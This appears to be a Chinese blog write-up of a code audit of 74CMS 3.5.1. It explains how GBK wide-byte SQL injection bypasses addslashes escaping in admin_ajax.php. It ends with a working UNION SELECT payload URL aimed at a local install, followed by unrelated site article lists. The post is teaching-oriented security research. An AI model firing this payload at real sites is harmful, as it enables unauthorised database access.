第一次进行CMS的代码审计,我选择了2014年发布的74CMS 3.5.1,历史比较久远的CMS往往存在更多的问题,虽然技术上难度不大,但是在思路方面给了我很大的启发。下面我根据我的思路给大家分享一下这次审计的流程。

拿到CMS后,首先大致了解一下目录结构,进行一些功能上的猜测,随后我打开了index.php文件:

 if(!$smarty->is_cached($mypage['tpl'],$cached_id))
{
require_once(QISHI_ROOT_PATH.'include/mysql.class.php');
$db = new mysql($dbhost,$dbuser,$dbpass,$dbname);
unset($dbhost,$dbuser,$dbpass,$dbname);
$smarty->display($mypage['tpl'],$cached_id);
}
else
{
$smarty->display($mypage['tpl'],$cached_id);
}
unset($smarty);

在第三行包含了include/mysql.class.php文件,我们跟读这个文件发现了数据库连接函数:

     function connect($dbhost, $dbuser, $dbpw, $dbname = '', $dbcharset = 'gbk', $connect=1){
$func = empty($connect) ? 'mysql_pconnect' : 'mysql_connect';
if(!$this->linkid = @$func($dbhost, $dbuser, $dbpw, true)){
$this->dbshow('Can not connect to Mysql!');
} else {
if($this->dbversion() > '4.1'){
mysql_query( "SET NAMES gbk");
if($this->dbversion() > '5.0.1'){
mysql_query("SET sql_mode = ''",$this->linkid);
mysql_query("SET character_set_connection=".$dbcharset.", character_set_results=".$dbcharset.", character_set_client=binary", $this->linkid);
}
}
}
if($dbname){
if(mysql_select_db($dbname, $this->linkid)===false){
$this->dbshow("Can't select MySQL database($dbname)!");
}
}
}

在这里做了一个判断,在MySQL版本>4.1时,执行 SET NAME gbk,在之前的文章中说过,这里大概率会出现宽字节注入漏洞,为了确定单引号如何转义,我们还需要再看一下过滤函数,这里的过滤函数位于/include/commen.fun.php中。

 function addslashes_deep($value)
{
if (empty($value))
{
return $value;
}
else
{
if (!get_magic_quotes_gpc())
{
$value=is_array($value) ? array_map('addslashes_deep', $value) : mystrip_tags(addslashes($value));
}
else
{
$value=is_array($value) ? array_map('addslashes_deep', $value) : mystrip_tags($value);
}
return $value;
}
}

这个函数是将变量使用addslashes()函数进行过滤,将'过滤为\’,满足宽字节注入的条件,到此我们可以正式确定存在宽字节注入漏洞。为了快速挖掘宽字节注入漏洞,我们全局搜索关键字iconv,iconv()函数通常用来进行编码类型转换,搜索后发现共有21处使用了iconv(),我们选择一个文件进行分析,该文件为:/admin/admin_ajax.php

 elseif($act == 'get_jobs')
{
$type=trim($_GET['type']);
$key=trim($_GET['key']);
if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)
{
$key=iconv("utf-8",QISHI_DBCHARSET,$key);
}
if ($type=="get_id")
{
$id=intval($key);
$sql = "select * from ".table('jobs')." where id='{$id}' LIMIT 1";
}
elseif ($type=="get_jobname")
{
$sql = "select * from ".table('jobs')." where jobs_name like '%{$key}%' LIMIT 30";
}
elseif ($type=="get_comname")
{
$sql = "select * from ".table('jobs')." where companyname like '%{$key}%' LIMIT 30";
}
elseif ($type=="get_uid")
{
$uid=intval($key);
$sql = "select * from ".table('jobs')." where uid='{$uid}' LIMIT 30";
}
else
{
exit();
}
$result = $db->query($sql);
while($row = $db->fetch_array($result))
{
$row['addtime']=date("Y-m-d",$row['addtime']);
$row['deadline']=date("Y-m-d",$row['deadline']);
$row['refreshtime']=date("Y-m-d",$row['refreshtime']);
$row['company_url']=url_rewrite('QS_companyshow',array('id'=>$row['company_id']),false);
$row['jobs_url']=url_rewrite('QS_jobsshow',array('id'=>$row['id']),false);
$info[]=$row['id']."%%%".$row['jobs_name']."%%%".$row['jobs_url']."%%%".$row['companyname']."%%%".$row['company_url']."%%%".$row['addtime']."%%%".$row['deadline']."%%%".$row['refreshtime'];
}
if (!empty($info))
{
exit(implode('@@@',$info));
}
else
{
exit();
}
}

这里的iconv()函数将变量$key由gbk编码转换为了utf-8编码。在我之前的文章中提到过单引号被addslashes转义成为\',如果提交%df,那就会与\(url编码为%5c)组合成为了%df%5c,也就是gbk编码中的“運”字,组合之后被转义的“ \' ”中的“ ‘ ”还存在,成功闭合了之前的单引号。到此我们可以构造payload了:

http://127.0.0.1/74cms/admin/admin_ajax.php?act=get_jobs&type=get_jobname&key=%E9%81%8B%27%20union%20select%20user(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57%23

最新文章

  1. 【转】iOS夯实:ARC时代的内存管理
  2. 不同材质怎么通过ZBrush赋予同一个模型上
  3. MSSQL数据库中Text类型字段在PHP中被截断之解 (转)
  4. 由Java中toString()方法引发的无意识的递归想到的
  5. Task.Run Vs Task.Factory.StartNew
  6. Selenium 进行web自动化测试
  7. web前端中实现多标签页切换的效果
  8. C#中如何只保留小数点后面两位?
  9. Firebug Command Line
  10. 将表中null值替换成想要的值、查询某一列值为null
  11. SQL 日期筛选的两种方式
  12. 深入浅出数据结构C语言版(20)——快速排序
  13. redis 系列13 集合对象
  14. EFCore Lazy Loading + Inheritance = 干净的数据表 (一) 【献给处女座的DB First程序猿】
  15. vue使用JS的形式进行路由导航
  16. Java 五大原则
  17. IDA 逆向工程 反汇编使用
  18. jsp取addFlashAttribute值深入理解即springMVC发redirect传隐藏参数
  19. github命令行下载项目源码
  20. Codeforces Round #295 (Div. 2)C - DNA Alignment 数学题

热门文章

  1. 给rar文件加个自定义头
  2. transform—切割轮播图
  3. Bugku 逆向
  4. 更新anaconda包
  5. [LC] 863. All Nodes Distance K in Binary Tree
  6. 五步解决windows系统慢的问题
  7. 【前缀思想】二叉树中所有距离为 K 的结点
  8. keras_yolo3程序框架理解
  9. house_cat 's blog
  10. vue图片查看器